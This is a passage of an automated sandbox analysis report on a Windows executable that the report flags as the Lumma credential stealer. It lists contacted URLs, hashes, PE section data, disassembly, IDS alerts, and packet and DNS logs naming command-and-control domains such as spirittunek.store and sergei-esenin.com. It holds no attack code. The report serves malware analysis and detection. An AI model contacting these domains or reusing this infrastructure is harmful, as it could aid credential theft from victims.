https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001629000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://127.0.0.1:27060	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=10oP_O2R	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001629000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spirittunek.store:443/api	file.exe, 00000000.00000002.1702793465.000000000162F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.000000000162F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701746610.0000000001670000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://help.steampowered.com/	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.steampowered.com/	file.exe, 00000000.00000002.1702889044.0000000001670000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://store.steampowered.com/account/cookiepreferences/	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702702986.0000000001626000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1702953951.00000000016BE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://store.steampowered.com/mobile	file.exe, 00000000.00000003.1701708353.00000000016B6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1701662463.00000000016AE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.102.49.254	steamcommunity.com	United States		16625	AKAMAI-ASUS	false
172.67.206.204	sergei-esenin.com	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1527499
Start date and time:	2024-10-07 01:01:19 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@10/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
19:02:10	API Interceptor	3x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm
172.67.206.204	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	A6QFRW2WiY.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, MicroClip	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sergei-esenin.com	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	fASbbWNgm1.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	A6QFRW2WiY.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
steamcommunity.com	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	fASbbWNgm1.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	A6QFRW2WiY.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	H2f8SkAvdV.exe	Get hash	malicious	Blank Grabber, XWorm	Browse	162.159.136.232
	http://buddycities.com/	Get hash	malicious	Unknown	Browse	104.16.141.114
	e4L9TXRBhB.exe	Get hash	malicious	XWorm	Browse	172.67.19.24
	http://buckboosters.com/	Get hash	malicious	Unknown	Browse	104.16.141.114
	CI7IM149dR.exe	Get hash	malicious	XWorm	Browse	104.20.3.235
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.206.204
	https://wchckwl.org/	Get hash	malicious	Unknown	Browse	188.114.96.3
	http://www.ngdhqw.blogspot.de/	Get hash	malicious	GRQ Scam	Browse	172.67.12.83
	http://vpnpanda.org/	Get hash	malicious	Unknown	Browse	104.16.141.114
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8
AKAMAI-ASUS	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	23.3.160.8
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	172.228.195.231
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	96.25.164.184
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	96.25.164.148
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	fASbbWNgm1.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	http://buddycities.com/	Get hash	malicious	Unknown	Browse	104.102.49.254 172.67.206.204
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	LKpIHL2abO.exe	Get hash	malicious	SmokeLoader	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	fASbbWNgm1.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	A6QFRW2WiY.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	http://directcoverbet.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	104.102.49.254 172.67.206.204

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946681927280129
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'875'456 bytes
MD5:	f8fbe058f717084976eeef1adb9c4365
SHA1:	9ca9c8a2fe61159979603278f13af52dfc3e4529
SHA256:	2006bc43cf9cb9d0cdda5d67fe480b446e2095d58427c07970fe5f1bd77a15f8
SHA512:	99c1f22d1d93118ffed46c27373c11dcb551699ecd487d79d1e33c4b18c7264358e8be504285d42b3d1039cad32c3eadad4a4f761568987fe5992fbfdb1b5c89
SSDEEP:	49152:60xpf3gLfajqWDdj7+BfUYpuZPIadHu0T6fEH:60QiGW5j7+BBpuGadzug
TLSH:	269533F49EA50C2DCBBBA6B7ED7212CCF7B00664696293011D7720AA4E3245FF4D6618
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................J...........@...........................J.....it....@.................................W...k..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8aa000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FFF14A [Fri Oct 4 13:44:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB8849553BAh
haddps xmm3, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FB8849573B5h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5f057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5d000	0x25e00	b5b9d4646c664a6d741fef7fab0630a4	False	0.9996067966171617	data	7.9863056505821985	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5f000	0x1000	0x200	fe72def8b74193a84232a780098a7ce0	False	0.150390625	data	1.04205214219471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x60000	0x2a8000	0x200	c08b00c0d727f6442ded26b516b3c96e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ryuwegqh	0x308000	0x1a1000	0x1a0400	a9f0753a85838c5986ea2d6d3337d814	False	0.9933804898648648	data	7.952621387551496	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
azhotthl	0x4a9000	0x1000	0x600	e3e6c8e27adc35b5c87e70638eda8d76	False	0.5709635416666666	data	4.99770501548074	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4aa000	0x3000	0x2200	3a5d4164d6351a17fdcf593e2f0403bf	False	0.07192095588235294	DOS executable (COM)	0.8756087269625684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T01:02:11.642685+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.4	49923	1.1.1.1	53	UDP
2024-10-07T01:02:11.655851+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.4	57572	1.1.1.1	53	UDP
2024-10-07T01:02:11.666768+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.4	65254	1.1.1.1	53	UDP
2024-10-07T01:02:11.676185+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.4	54114	1.1.1.1	53	UDP
2024-10-07T01:02:11.689146+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.4	49647	1.1.1.1	53	UDP
2024-10-07T01:02:11.706267+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.4	55247	1.1.1.1	53	UDP
2024-10-07T01:02:11.716880+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.4	62325	1.1.1.1	53	UDP
2024-10-07T01:02:11.735416+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.4	49275	1.1.1.1	53	UDP
2024-10-07T01:02:14.074979+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49731	172.67.206.204	443	TCP
2024-10-07T01:02:14.074979+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	172.67.206.204	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 01:02:11.869112968 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 7, 2024 01:02:11.869151115 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:11.869225025 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 7, 2024 01:02:11.873240948 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 7, 2024 01:02:11.873253107 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:12.522922039 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:12.523000956 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 7, 2024 01:02:12.557238102 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 7, 2024 01:02:12.557262897 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:12.557616949 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:12.614680052 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 7, 2024 01:02:12.647820950 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 7, 2024 01:02:12.691392899 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:13.050160885 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:13.050218105 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:13.050237894 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:13.050278902 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:13.050297022 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:13.050312042 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 7, 2024 01:02:13.050342083 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:13.050354958 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 7, 2024 01:02:13.050354958 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 7, 2024 01:02:13.050376892 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 7, 2024 01:02:13.153043985 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:13.153090954 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:13.153162003 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 7, 2024 01:02:13.153175116 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:13.153225899 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 7, 2024 01:02:13.153225899 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 7, 2024 01:02:13.158207893 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:13.158293962 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 7, 2024 01:02:13.158309937 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:13.158435106 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 7, 2024 01:02:13.158442974 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:13.158462048 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:13.158571959 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 7, 2024 01:02:13.159198999 CEST	49730	443	192.168.2.4	104.102.49.254
Oct 7, 2024 01:02:13.159208059 CEST	443	49730	104.102.49.254	192.168.2.4
Oct 7, 2024 01:02:13.176902056 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 7, 2024 01:02:13.177015066 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 7, 2024 01:02:13.177103043 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 7, 2024 01:02:13.177474022 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 7, 2024 01:02:13.177486897 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 7, 2024 01:02:13.639801979 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 7, 2024 01:02:13.639934063 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 7, 2024 01:02:13.642447948 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 7, 2024 01:02:13.642456055 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 7, 2024 01:02:13.642674923 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 7, 2024 01:02:13.643978119 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 7, 2024 01:02:13.643995047 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 7, 2024 01:02:13.644056082 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 7, 2024 01:02:14.074990034 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 7, 2024 01:02:14.075078964 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 7, 2024 01:02:14.075186014 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 7, 2024 01:02:14.075474024 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 7, 2024 01:02:14.075493097 CEST	443	49731	172.67.206.204	192.168.2.4
Oct 7, 2024 01:02:14.075508118 CEST	49731	443	192.168.2.4	172.67.206.204
Oct 7, 2024 01:02:14.075512886 CEST	443	49731	172.67.206.204	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 01:02:11.642684937 CEST	49923	53	192.168.2.4	1.1.1.1
Oct 7, 2024 01:02:11.651571989 CEST	53	49923	1.1.1.1	192.168.2.4
Oct 7, 2024 01:02:11.655850887 CEST	57572	53	192.168.2.4	1.1.1.1
Oct 7, 2024 01:02:11.665589094 CEST	53	57572	1.1.1.1	192.168.2.4
Oct 7, 2024 01:02:11.666768074 CEST	65254	53	192.168.2.4	1.1.1.1
Oct 7, 2024 01:02:11.674958944 CEST	53	65254	1.1.1.1	192.168.2.4
Oct 7, 2024 01:02:11.676184893 CEST	54114	53	192.168.2.4	1.1.1.1
Oct 7, 2024 01:02:11.686553955 CEST	53	54114	1.1.1.1	192.168.2.4
Oct 7, 2024 01:02:11.689146042 CEST	49647	53	192.168.2.4	1.1.1.1
Oct 7, 2024 01:02:11.703443050 CEST	53	49647	1.1.1.1	192.168.2.4
Oct 7, 2024 01:02:11.706267118 CEST	55247	53	192.168.2.4	1.1.1.1
Oct 7, 2024 01:02:11.715425014 CEST	53	55247	1.1.1.1	192.168.2.4
Oct 7, 2024 01:02:11.716880083 CEST	62325	53	192.168.2.4	1.1.1.1
Oct 7, 2024 01:02:11.726062059 CEST	53	62325	1.1.1.1	192.168.2.4
Oct 7, 2024 01:02:11.735415936 CEST	49275	53	192.168.2.4	1.1.1.1
Oct 7, 2024 01:02:11.746956110 CEST	53	49275	1.1.1.1	192.168.2.4
Oct 7, 2024 01:02:11.826714039 CEST	54134	53	192.168.2.4	1.1.1.1
Oct 7, 2024 01:02:11.833785057 CEST	53	54134	1.1.1.1	192.168.2.4
Oct 7, 2024 01:02:13.163403034 CEST	64949	53	192.168.2.4	1.1.1.1
Oct 7, 2024 01:02:13.175996065 CEST	53	64949	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 7, 2024 01:02:11.642684937 CEST	192.168.2.4	1.1.1.1	0x6ee9	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 7, 2024 01:02:11.655850887 CEST	192.168.2.4	1.1.1.1	0x930d	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 01:02:11.666768074 CEST	192.168.2.4	1.1.1.1	0xeb55	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 01:02:11.676184893 CEST	192.168.2.4	1.1.1.1	0x39b7	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 01:02:11.689146042 CEST	192.168.2.4	1.1.1.1	0xfce	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 01:02:11.706267118 CEST	192.168.2.4	1.1.1.1	0xc84a	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 01:02:11.716880083 CEST	192.168.2.4	1.1.1.1	0xbba8	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 7, 2024 01:02:11.735415936 CEST	192.168.2.4	1.1.1.1	0xf623	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 7, 2024 01:02:11.826714039 CEST	192.168.2.4	1.1.1.1	0x2316	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 7, 2024 01:02:13.163403034 CEST	192.168.2.4	1.1.1.1	0xf931	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 7, 2024 01:02:11.651571989 CEST	1.1.1.1	192.168.2.4	0x6ee9	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 01:02:11.665589094 CEST	1.1.1.1	192.168.2.4	0x930d	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 01:02:11.674958944 CEST	1.1.1.1	192.168.2.4	0xeb55	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 01:02:11.686553955 CEST	1.1.1.1	192.168.2.4	0x39b7	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 01:02:11.703443050 CEST	1.1.1.1	192.168.2.4	0xfce	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 01:02:11.715425014 CEST	1.1.1.1	192.168.2.4	0xc84a	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 01:02:11.726062059 CEST	1.1.1.1	192.168.2.4	0xbba8	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 01:02:11.746956110 CEST	1.1.1.1	192.168.2.4	0xf623	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 7, 2024 01:02:11.833785057 CEST	1.1.1.1	192.168.2.4	0x2316	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
